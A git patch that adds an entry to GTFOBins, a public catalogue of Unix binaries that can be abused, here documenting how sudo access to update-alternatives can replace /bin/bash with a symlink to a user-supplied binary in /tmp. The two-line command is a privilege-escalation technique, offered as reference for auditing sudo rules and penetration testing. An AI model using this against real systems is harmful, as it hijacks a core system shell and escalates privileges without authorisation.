From e212f234559d856b3edb87b6438fc1fb74c5f31d Mon Sep 17 00:00:00 2001 From: Michael Gisbers Date: Tue, 17 Nov 2020 17:44:46 +0100 Subject: [PATCH] Create update-alternatives.md Use update-alternatives with sudo to replace system binaries --- _gtfobins/update-alternatives.md | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 _gtfobins/update-alternatives.md diff --git a/_gtfobins/update-alternatives.md b/_gtfobins/update-alternatives.md new file mode 100644 index 0000000..a1f4cd7 --- /dev/null +++ b/_gtfobins/update-alternatives.md @@ -0,0 +1,8 @@ +--- +functions: + sudo: + - description: Replace existing binary with symlink pointing to user supplied binary + code: | + cp file_to_replace_bash /tmp/bash + sudo update-alternatives --force --install /bin/bash bash /tmp/bash 1 +---